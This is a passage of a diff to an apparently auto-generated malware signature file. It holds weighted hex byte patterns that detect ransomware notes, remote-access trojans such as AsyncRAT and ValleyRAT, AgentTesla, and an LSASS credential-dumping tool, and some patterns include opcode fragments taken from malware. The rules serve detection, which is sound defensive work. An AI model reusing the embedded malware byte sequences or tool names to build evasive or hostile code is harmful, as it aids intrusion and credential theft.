6c 61 79 65 72 5f 73 74 6f 70 00 00 78 95 00 00 04 00 04 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 } //25970 + $a_61_3 = {65 72 3a 57 69 6e 36 34 2f 53 68 61 74 74 65 72 4f 66 66 69 63 65 2e 42 21 64 68 61 00 01 00 0c 01 47 6f 20 62 75 69 6c 64 69 6e 66 3a 01 00 09 01 6f 66 65 65 65 2e 70 68 70 01 00 09 01 6f 66 74 74 74 2e 70 68 70 01 00 13 01 5f 44 6f 55 70 64 61 74 65 49 6e 73 74 61 6e 63 65 45 78 01 00 17 01 6d 61 69 6e 2e 69 73 56 61 6c 69 64 46 } //27758 condition: - ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26479+(#a_69_2 & 1)*25120+(#a_70_3 & 1)*29551) >=4 + ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26479+(#a_65_2 & 1)*25970+(#a_61_3 & 1)*27758) >=4 } -rule _InfrastructureShared_10181{ +rule _InfrastructureShared_10835{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_41_0 = {42 6c 6f 63 6b 3a 4d 65 64 69 61 47 65 74 00 02 00 39 80 01 43 3a 5c 6d 65 64 69 61 67 65 74 5c 6d 65 64 69 61 67 65 74 2d 73 6f 75 72 63 65 73 2d 72 65 6c 65 61 73 65 5c 72 65 6c 65 61 73 65 5c 6d 65 64 69 61 67 65 74 2e 70 64 62 01 00 0c 80 01 6d 65 64 } //20515 + $a_65_1 = {2e 65 78 65 01 00 07 80 01 74 76 73 68 6f 77 73 01 00 18 80 01 6c 69 62 76 6c 63 5f 6d 65 64 69 61 5f 70 6c 61 79 65 72 5f 73 74 6f 70 00 00 78 95 00 00 04 00 04 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 36 34 2f 53 68 61 74 74 65 72 4f 66 66 69 63 65 2e 42 21 64 } //24937 + $a_47_3 = {20 } //3072 + condition: + ((#a_41_0 & 1)*20515+(#a_65_1 & 1)*24937+(#a_47_3 & 1)*3072) >=4 + +} +rule _InfrastructureShared_10836{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -110430,7 +117659,7 @@ rule _InfrastructureShared_10181{ ((#a_46_0 & 1)*16675+(#a_74_1 & 1)*26223+(#a_00_2 & 1)*17492+(#a_72_3 & 1)*384+(#a_6e_4 & 1)*28245) >=4 } -rule _InfrastructureShared_10182{ +rule _InfrastructureShared_10837{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -110444,7 +117673,7 @@ rule _InfrastructureShared_10182{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*25205+(#a_32_2 & 1)*28265+(#a_77_3 & 1)*27491+(#a_63_4 & 1)*19535) >=4 } -rule _InfrastructureShared_10183{ +rule _InfrastructureShared_10838{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 06 00 21 " @@ -110453,13 +117682,22 @@ rule _InfrastructureShared_10183{ $a_01_1 = {45 72 72 6f 20 61 6f 20 67 72 61 76 61 72 3a } //1 Erro ao gravar: $a_01_2 = {42 4f 4f 4c 20 63 6c 73 42 61 73 65 46 69 6c 65 3a 3a 6f 70 65 6e } //1 BOOL clsBaseFile::open $a_01_3 = {23 23 53 48 4d 41 52 4b 23 23 } //1 ##SHMARK## - $a_95_4 = {00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 4d 69 6e 65 64 79 67 6f 00 01 00 11 00 52 49 4f 52 65 67 69 73 74 65 72 42 75 66 66 65 72 01 00 09 00 52 49 4f 53 65 6e 64 45 78 01 00 18 00 52 49 4f 43 72 65 61 74 65 43 6f 6d 70 6c 65 74 69 6f 6e 51 75 65 75 65 01 00 08 00 57 53 41 49 6f 63 74 6c 01 00 23 03 ba 24 00 00 c8 90 02 } //0 - $a_09_5 = {85 90 02 04 dd 96 05 40 90 02 04 b1 65 9e 2e 90 02 04 e8 c7 9e 3f 90 00 00 00 78 95 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4e 39 35 21 4d 54 42 00 01 00 0e 81 01 44 65 63 6f 6d 70 72 65 73 73 47 5a 69 70 01 00 11 81 01 62 79 74 65 73 54 6f 44 65 63 6f 6d 70 72 65 73 73 01 00 17 81 01 49 4b 4d 4e 4a 55 48 42 56 47 59 54 46 43 58 44 52 45 53 5a 41 57 51 01 00 0f 01 53 79 6e 63 68 72 6f 6e 69 7a 61 74 69 6f 6e 01 00 09 01 09 4c 00 6f 00 61 00 64 00 00 00 78 95 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 42 72 6f 70 69 61 2e 67 65 6e 21 47 00 01 00 12 01 57 00 49 00 4e } //-32496 + $a_95_4 = {00 05 00 05 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 50 47 4a 21 4d 54 42 00 01 00 3b 01 52 00 61 00 6e 00 73 00 6f 00 6d 00 20 00 4e 00 6f 00 74 00 65 00 20 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 74 00 00 15 72 00 65 00 61 00 64 00 6d 00 65 00 2e 00 74 00 78 00 74 04 00 27 01 52 00 61 00 6e 00 73 00 6f 00 6d } //0 condition: - ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_95_4 & 1)*0+(#a_09_5 & 1)*-32496) >=4 + ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_95_4 & 1)*0) >=4 } -rule _InfrastructureShared_10184{ +rule _InfrastructureShared_10839{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 02 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4a 61 6c 61 70 65 6e 6f 2e 50 47 4a 21 4d 54 42 00 01 00 3b 01 52 00 61 00 6e 00 73 00 6f 00 6d 00 20 00 4e 00 6f 00 74 00 65 00 20 00 43 00 6f 00 6e 00 74 00 65 00 6e 00 } //21539 + condition: + ((#a_4c_0 & 1)*21539) >=5 + +} +rule _InfrastructureShared_10840{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -110472,7 +117710,7 @@ rule _InfrastructureShared_10184{ ((#a_46_0 & 1)*16675+(#a_51_1 & 1)*28521+(#a_63_2 & 1)*17409+(#a_52_4 & 1)*21320) >=5 } -rule _InfrastructureShared_10185{ +rule _InfrastructureShared_10841{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -110486,7 +117724,7 @@ rule _InfrastructureShared_10185{ ((#a_54_0 & 1)*18467+(#a_48_1 & 1)*19022+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_10186{ +rule _InfrastructureShared_10842{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -110499,7 +117737,7 @@ rule _InfrastructureShared_10186{ ((#a_54_0 & 1)*18467+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 } -rule _InfrastructureShared_10187{ +rule _InfrastructureShared_10843{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -110513,7 +117751,7 @@ rule _InfrastructureShared_10187{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*292+(#a_00_2 & 1)*5+(#a_3a_3 & 1)*21587+(#a_20_4 & 1)*28538) >=5 } -rule _InfrastructureShared_10188{ +rule _InfrastructureShared_10844{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -110527,7 +117765,7 @@ rule _InfrastructureShared_10188{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*31337+(#a_54_2 & 1)*18520+(#a_01_3 & 1)*25963+(#a_6e_4 & 1)*27247) >=5 } -rule _InfrastructureShared_10189{ +rule _InfrastructureShared_10845{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -110541,7 +117779,7 @@ rule _InfrastructureShared_10189{ ((#a_46_0 & 1)*21283+(#a_4c_1 & 1)*18448+(#a_53_2 & 1)*19529+(#a_00_3 & 1)*0+(#a_3a_4 & 1)*17748) >=5 } -rule _InfrastructureShared_10190{ +rule _InfrastructureShared_10846{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -110550,12 +117788,12 @@ rule _InfrastructureShared_10190{ $a_74_1 = {2e 74 78 74 01 00 1f 01 59 6f 75 72 20 46 69 6c 65 73 20 48 61 76 65 20 42 65 65 6e 20 45 6e 63 72 79 70 74 65 64 21 01 00 12 01 74 61 6e 74 6f 70 6f 72 63 69 65 6e 74 6f 2e 63 6f 6d 00 00 78 95 00 00 06 00 06 00 02 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 6d 61 64 65 79 2e 43 43 } //29486 $a_4d_2 = {42 00 05 00 5e 01 48 83 eb 08 48 3b df 72 55 48 8b 03 49 3b c6 74 ef 49 33 c0 4c 89 33 48 d3 c8 ff } //17482 $a_01_3 = {00 4c 8b 05 46 a5 04 00 48 8b 06 41 8b c8 83 e1 3f 48 8b 10 4c 8b 0a 48 8b 42 08 4d 33 c8 49 33 c0 49 d3 c9 48 d3 c8 4d 3b cf 75 05 48 3b c5 74 b0 4d 8b f9 49 8b f9 48 8b e8 48 8b d8 eb a2 01 00 04 01 4d 61 69 6e 00 00 78 95 00 00 06 00 06 00 03 00 21 23 41 4c 46 3a 42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 50 77 73 78 2e 53 4b 21 4d 54 42 00 02 00 25 01 24 65 33 61 30 32 63 34 37 2d 31 65 63 66 2d 34 61 37 61 2d 62 33 36 32 2d 65 63 33 62 37 61 34 61 39 38 36 65 02 00 30 01 52 65 76 6f 6c 75 74 69 6f 6e 69 7a 69 6e 67 20 74 65 63 68 6e 6f 6c 6f 67 79 20 66 6f 72 20 61 20 62 65 74 74 65 72 20 74 6f 6d 6f 72 72 6f 77 02 00 0c 01 5f 63 72 79 70 74 65 } //11541 - $a_78_4 = {00 00 78 95 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 52 6f 73 74 70 61 79 2e 50 50 31 30 00 01 00 0b 80 01 6f 66 66 65 72 3a 73 68 6f 77 6e 01 00 0e 80 01 6f 66 66 65 72 3a 61 63 63 65 70 74 65 64 01 00 0e 80 01 6f 66 66 65 72 3a 64 65 63 6c 69 6e 65 } //11876 + $a_78_4 = {00 00 78 95 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 61 6c 6c 65 79 52 41 54 2e 43 4c 4d 21 4d 54 42 00 02 00 16 03 f7 d8 21 ff f7 d8 5b 83 ea 00 81 6b 0a 90 01 04 0f 4d db eb 90 00 02 00 25 03 f7 53 0e eb 90 01 01 9a 90 01 04 c1 4b 90 01 02 eb 90 01 01 a2 90 } //11876 condition: ((#a_4c_0 & 1)*21539+(#a_74_1 & 1)*29486+(#a_4d_2 & 1)*17482+(#a_01_3 & 1)*11541+(#a_78_4 & 1)*11876) >=5 } -rule _InfrastructureShared_10191{ +rule _InfrastructureShared_10847{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 02 00 21 " @@ -110565,19 +117803,31 @@ rule _InfrastructureShared_10191{ ((#a_4c_0 & 1)*21539) >=6 } -rule _InfrastructureShared_10192{ +rule _InfrastructureShared_10848{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " strings : $a_46_0 = {42 61 63 6b 64 6f 6f 72 3a 4d 53 49 4c 2f 50 77 73 78 2e 53 4b 21 4d 54 42 00 02 00 25 01 24 65 33 61 30 32 63 34 37 2d 31 65 63 66 2d 34 61 37 61 2d 62 33 36 32 2d 65 63 33 62 37 61 34 61 39 38 36 65 02 00 30 01 52 65 76 6f 6c } //16675 - $a_6f_1 = {69 7a 69 6e 67 20 74 65 63 68 6e 6f 6c 6f 67 79 20 66 6f 72 20 61 20 62 65 74 74 65 72 20 74 6f 6d 6f 72 72 6f 77 02 00 0c 01 5f 63 72 79 70 74 65 64 2e 65 78 65 00 00 78 95 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 52 6f 73 74 70 61 79 2e 50 50 31 30 00 01 00 0b } //29813 - $a_66_2 = {65 72 3a 73 68 6f 77 6e 01 00 0e 80 01 6f 66 66 65 72 3a 61 63 63 65 70 74 65 64 01 00 0e 80 01 6f 66 66 65 72 3a 64 65 63 6c 69 6e 65 64 01 00 0d 80 01 44 72 69 76 65 72 48 75 62 2e 65 78 65 01 00 0c 80 01 52 4f 53 54 50 41 59 20 4c 54 44 2e 01 00 0b 80 01 64 72 76 68 75 62 6f 66 66 65 72 00 00 78 95 00 00 06 00 06 00 06 00 21 23 } //384 + $a_6f_1 = {69 7a 69 6e 67 20 74 65 63 68 6e 6f 6c 6f 67 79 20 66 6f 72 20 61 20 62 65 74 74 65 72 20 74 6f 6d 6f 72 72 6f 77 02 00 0c 01 5f 63 72 79 70 74 65 64 2e 65 78 65 00 00 78 95 00 00 06 00 06 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 61 6c 6c 65 79 52 41 54 2e 43 4c 4d 21 4d 54 42 00 02 00 } //29813 + $a_d8_2 = {ff f7 d8 5b 83 ea 00 81 6b 0a 90 01 04 0f 4d db eb 90 00 02 00 25 03 f7 53 0e eb 90 01 01 9a 90 01 04 c1 4b 90 01 02 eb 90 01 01 a2 90 01 04 c1 4b 90 01 02 81 6b 90 01 05 eb 90 00 02 00 21 03 0f 44 f6 c1 4b 90 01 02 0f 42 d2 eb 90 01 06 c1 4b 90 01 02 83 e8 90 01 01 c1 4b 90 01 02 ff 90 00 00 00 78 95 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 50 55 41 42 75 6e 64 6c 65 72 3a 57 69 6e 33 32 2f 52 6f 73 74 70 61 79 2e 50 50 31 30 00 01 00 0b 80 01 6f 66 66 65 72 3a 73 68 6f 77 6e 01 00 0e 80 01 6f 66 66 65 72 3a 61 63 63 65 70 74 65 64 01 00 0e 80 01 6f 66 66 65 72 3a 64 65 63 6c 69 6e 65 64 01 00 0d 80 01 44 72 69 76 65 72 48 75 62 2e 65 78 65 01 00 0c 80 01 52 4f 53 54 50 41 59 20 4c 54 44 2e 01 00 0b 80 01 64 72 76 68 75 62 6f 66 } //790 condition: - ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29813+(#a_66_2 & 1)*384) >=6 + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*29813+(#a_d8_2 & 1)*790) >=6 } -rule _InfrastructureShared_10193{ +rule _InfrastructureShared_10849{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 56 61 6c 6c 65 79 52 41 54 2e 43 4c 4d 21 4d 54 42 00 02 00 16 03 f7 d8 21 ff f7 d8 5b 83 ea 00 81 6b 0a 90 01 04 0f 4d db eb 90 00 02 00 25 03 f7 53 0e eb 90 01 01 9a } //21539 + $a_c1_1 = {90 01 02 eb } //400 + $a_a2_2 = {01 } //400 + condition: + ((#a_4c_0 & 1)*21539+(#a_c1_1 & 1)*400+(#a_a2_2 & 1)*400) >=6 + +} +rule _InfrastructureShared_10850{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -110592,7 +117842,7 @@ rule _InfrastructureShared_10193{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*25956+(#a_4d_2 & 1)*8502+(#a_00_3 & 1)*18+(#a_01_4 & 1)*1+(#a_81_5 & 1)*1) >=6 } -rule _InfrastructureShared_10194{ +rule _InfrastructureShared_10851{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -110604,7 +117854,7 @@ rule _InfrastructureShared_10194{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*102+(#a_16_3 & 1)*2048) >=6 } -rule _InfrastructureShared_10195{ +rule _InfrastructureShared_10852{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -110619,7 +117869,7 @@ rule _InfrastructureShared_10195{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*25955+(#a_33_2 & 1)*12613+(#a_6c_3 & 1)*26990+(#a_42_4 & 1)*19745+(#a_62_5 & 1)*28718) >=6 } -rule _InfrastructureShared_10196{ +rule _InfrastructureShared_10853{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -110634,7 +117884,7 @@ rule _InfrastructureShared_10196{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26113+(#a_33_2 & 1)*25966+(#a_3a_3 & 1)*17748+(#a_72_4 & 1)*29804+(#a_31_5 & 1)*8303) >=6 } -rule _InfrastructureShared_10197{ +rule _InfrastructureShared_10854{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -110649,7 +117899,7 @@ rule _InfrastructureShared_10197{ ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*18775+(#a_6c_2 & 1)*18223+(#a_67_3 & 1)*24916+(#a_6e_4 & 1)*29541+(#a_c9_5 & 1)*-13687) >=6 } -rule _InfrastructureShared_10198{ +rule _InfrastructureShared_10855{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -110664,7 +117914,7 @@ rule _InfrastructureShared_10198{ ((#a_4c_0 & 1)*21539+(#a_73_1 & 1)*26369+(#a_38_2 & 1)*12662+(#a_65_3 & 1)*29513+(#a_3a_4 & 1)*24938+(#a_88_5 & 1)*-14593) >=6 } -rule _InfrastructureShared_10199{ +rule _InfrastructureShared_10856{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -110679,7 +117929,7 @@ rule _InfrastructureShared_10199{ ((#a_6f_0 & 1)*21539+(#a_00_1 & 1)*29806+(#a_73_2 & 1)*19201+(#a_31_3 & 1)*278+(#a_3a_4 & 1)*21587+(#a_63_5 & 1)*29264) >=6 } -rule _InfrastructureShared_10200{ +rule _InfrastructureShared_10857{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " @@ -110692,7 +117942,7 @@ rule _InfrastructureShared_10200{ ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*278+(#a_3a_2 & 1)*21587+(#a_63_3 & 1)*29264) >=7 } -rule _InfrastructureShared_10201{ +rule _InfrastructureShared_10858{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -110702,13 +117952,13 @@ rule _InfrastructureShared_10201{ $a_6d_2 = {33 02 00 04 80 01 2e 6a 70 67 02 00 04 80 01 2e 70 6e 67 02 00 05 80 01 2e 6a 70 65 67 02 00 0a 80 01 5c 64 6f 63 75 6d 65 6e 74 73 02 00 } //384 $a_5c_3 = {69 } //-32761 i $a_73_4 = {00 06 80 01 5c 6d 75 73 69 63 02 00 09 80 01 5c 70 69 63 74 75 72 65 73 00 00 78 95 00 00 08 00 08 00 04 00 21 23 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4c 73 6c 73 61 73 73 21 64 68 61 00 02 00 13 01 46 6f 75 6e 64 20 4c 73 61 73 73 20 70 69 64 3a 20 25 75 02 00 20 01 46 6f 75 6e 64 20 6d 61 74 63 68 20 61 74 20 25 70 2c 20 } //25956 - $a_67_5 = {74 20 62 75 66 20 25 78 02 00 1e 00 43 00 68 00 61 00 69 00 6e 00 69 00 6e 00 67 00 4d 00 6f 00 64 00 65 00 43 00 42 00 43 00 02 00 0f 01 56 61 6c 75 65 20 61 74 20 2d 34 3a 20 25 78 00 00 78 95 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4c 36 33 21 4d 54 42 00 0a 00 } //24948 - $a_04_6 = {24 c7 44 24 04 01 00 00 00 c7 44 24 08 00 c2 eb 0b ff 15 90 01 04 83 ec 0c 89 45 f0 83 7d f0 00 0f 84 90 01 04 8b 45 f0 89 04 24 c7 44 24 04 de 00 00 00 c7 44 24 08 00 c2 eb 0b e8 90 01 04 c7 45 ec 00 00 00 00 c7 45 ec 00 00 00 00 81 7d ec 90 01 04 0f 83 90 01 04 31 c0 8b 4d ec 8a 90 00 00 00 78 95 00 00 0a 00 0a 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 45 41 } //610 + $a_67_5 = {74 20 62 75 66 20 25 78 02 00 1e 00 43 00 68 00 61 00 69 00 6e 00 69 00 6e 00 67 00 4d 00 6f 00 64 00 65 00 43 00 42 00 43 00 02 00 0f 01 56 61 6c 75 65 20 61 74 20 2d 34 3a 20 25 78 00 00 78 95 00 00 09 00 09 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 49 6e 6a 65 63 74 6f 72 4e 65 74 54 2e 41 59 58 41 21 4d 54 42 00 05 } //24948 + $a_1f_6 = {0b 04 03 } //9216 condition: - ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*20481+(#a_6d_2 & 1)*384+(#a_5c_3 & 1)*-32761+(#a_73_4 & 1)*25956+(#a_67_5 & 1)*24948+(#a_04_6 & 1)*610) >=7 + ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*20481+(#a_6d_2 & 1)*384+(#a_5c_3 & 1)*-32761+(#a_73_4 & 1)*25956+(#a_67_5 & 1)*24948+(#a_1f_6 & 1)*9216) >=7 } -rule _InfrastructureShared_10202{ +rule _InfrastructureShared_10859{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0b 00 21 " @@ -110719,26 +117969,49 @@ rule _InfrastructureShared_10202{ $a_80_3 = {5c 6d 75 73 69 63 } //\music 2 $a_80_4 = {5c 70 69 63 74 75 72 65 73 } //\pictures 2 $a_95_5 = {00 08 00 08 00 04 00 21 23 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 4c 73 6c 73 61 73 73 21 64 68 61 00 02 00 13 01 46 6f 75 6e 64 20 4c 73 61 73 73 20 70 69 64 3a 20 25 75 02 00 20 01 46 6f 75 6e 64 20 6d 61 74 63 68 20 61 74 20 25 70 2c 20 74 61 72 67 65 74 20 62 75 66 20 25 78 02 00 1e 00 43 00 68 00 61 00 69 00 6e 00 69 00 6e 00 67 00 4d 00 6f 00 64 } //0 - $a_00_7 = {02 00 0f 01 56 61 6c 75 65 20 61 74 20 2d 34 3a 20 25 78 00 00 78 95 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4c 36 33 21 4d } //66 - $a_89_9 = {24 c7 } //25088 - $a_01_10 = {00 00 00 c7 } //9284 + $a_00_7 = {02 00 0f 01 56 61 6c 75 65 20 61 74 20 2d 34 3a 20 25 78 00 00 78 95 00 00 09 00 09 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 49 6e 6a 65 63 74 6f 72 4e 65 74 54 2e 41 59 58 41 21 } //66 + $a_00_8 = {05 00 24 03 1f 09 0b 04 03 07 5d 9a 28 90 01 01 00 00 0a 02 28 90 01 01 00 00 06 28 90 01 02 00 0a 0a 2b 00 06 2a 90 00 02 00 1e 03 05 0a 16 0b 2b 11 03 07 03 07 91 07 04 28 90 01 02 00 06 9c 07 17 } //21581 + $a_06_9 = {31 eb 90 00 02 00 17 } //3030 + $a_66_10 = {02 66 03 } //515 condition: - ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*2+(#a_80_2 & 1)*2+(#a_80_3 & 1)*2+(#a_80_4 & 1)*2+(#a_95_5 & 1)*0+(#a_00_7 & 1)*66+(#a_89_9 & 1)*25088+(#a_01_10 & 1)*9284) >=7 + ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*2+(#a_80_2 & 1)*2+(#a_80_3 & 1)*2+(#a_80_4 & 1)*2+(#a_95_5 & 1)*0+(#a_00_7 & 1)*66+(#a_00_8 & 1)*21581+(#a_06_9 & 1)*3030+(#a_66_10 & 1)*515) >=7 } -rule _InfrastructureShared_10203{ +rule _InfrastructureShared_10860{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " strings : $a_63_0 = {54 6f 6f 6c 3a 57 69 6e 33 32 2f 4c 73 6c 73 61 73 73 21 64 68 61 00 02 00 13 01 46 6f 75 6e 64 20 4c 73 61 73 73 20 70 69 64 3a 20 25 75 02 00 20 01 46 6f 75 6e 64 20 6d 61 74 63 68 20 61 74 20 25 70 2c 20 74 61 72 67 65 74 20 62 75 66 20 25 78 02 00 1e 00 43 00 68 00 61 00 69 00 6e 00 69 } //18467 - $a_00_2 = {64 00 65 00 43 00 42 00 43 00 02 00 0f 01 56 61 6c 75 65 20 61 74 20 2d 34 3a 20 25 78 00 00 78 95 00 00 0a 00 0a 00 01 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 41 67 65 6e 74 54 65 73 6c 61 2e 4c 36 33 21 4d 54 42 00 0a 00 62 02 89 04 24 c7 44 24 04 01 00 00 00 c7 44 24 08 00 c2 eb 0b ff 15 90 01 04 83 ec 0c } //77 - $a_83_3 = {f0 00 0f 84 90 01 04 8b 45 f0 89 04 24 c7 44 24 04 de 00 00 00 c7 44 24 08 00 c2 eb 0b e8 90 01 04 c7 45 ec 00 00 00 00 c7 45 ec 00 00 00 00 81 7d ec 90 01 04 0f 83 90 01 04 31 c0 8b 4d ec 8a 90 00 00 00 78 95 00 00 0a 00 0a 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 73 79 6e 63 52 41 54 2e 45 41 43 42 21 4d 54 42 00 05 00 25 01 07 08 91 0d 06 72 11 00 00 70 09 8c 05 00 00 01 28 04 00 00 0a 6f 05 00 00 0a 26 08 17 58 0c 08 07 8e 69 32 db 05 00 3c 01 6f 15 00 00 0a 06 68 28 16 00 00 0a 28 05 00 00 06 0c 03 08 16 08 8e 69 6f 17 00 00 0a 38 24 00 00 00 20 dd 00 00 00 0b 03 07 6f 15 00 00 0a 06 28 18 00 00 0a 28 05 00 00 06 0c 03 00 00 78 95 00 00 0c 00 0c 00 03 00 21 23 48 53 54 52 3a 54 72 } //17801 + $a_00_2 = {64 00 65 00 43 00 42 00 43 00 02 00 0f 01 56 61 6c 75 65 20 61 74 20 2d 34 3a 20 25 78 00 00 78 95 00 00 09 00 09 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 49 6e 6a 65 63 74 6f 72 4e 65 74 54 2e 41 59 58 41 21 4d 54 42 00 05 00 24 03 1f 09 0b 04 03 07 5d 9a 28 90 01 01 00 00 0a 02 28 90 01 01 00 00 06 28 90 01 } //77 + $a_0a_3 = {2b 00 06 2a 90 00 02 00 1e 03 } //2 condition: - ((#a_63_0 & 1)*18467+(#a_00_2 & 1)*77+(#a_83_3 & 1)*17801) >=8 + ((#a_63_0 & 1)*18467+(#a_00_2 & 1)*77+(#a_0a_3 & 1)*2) >=8 } -rule _InfrastructureShared_10204{ +rule _InfrastructureShared_10861{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 03 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 49 6e 6a 65 63 74 6f 72 4e 65 74 54 2e 41 59 58 41 21 4d 54 42 00 05 00 24 03 1f 09 0b 04 03 07 5d 9a 28 90 01 01 00 00 0a 02 28 90 01 01 00 00 06 28 90 01 02 00 0a 0a 2b } //21539 + $a_90_1 = {02 00 1e 03 05 0a 16 0b 2b 11 03 07 03 07 91 07 04 28 90 01 02 00 06 9c 07 17 d6 0b 07 06 31 eb 90 00 02 00 17 03 02 03 66 5f } //1536 + $a_5f_2 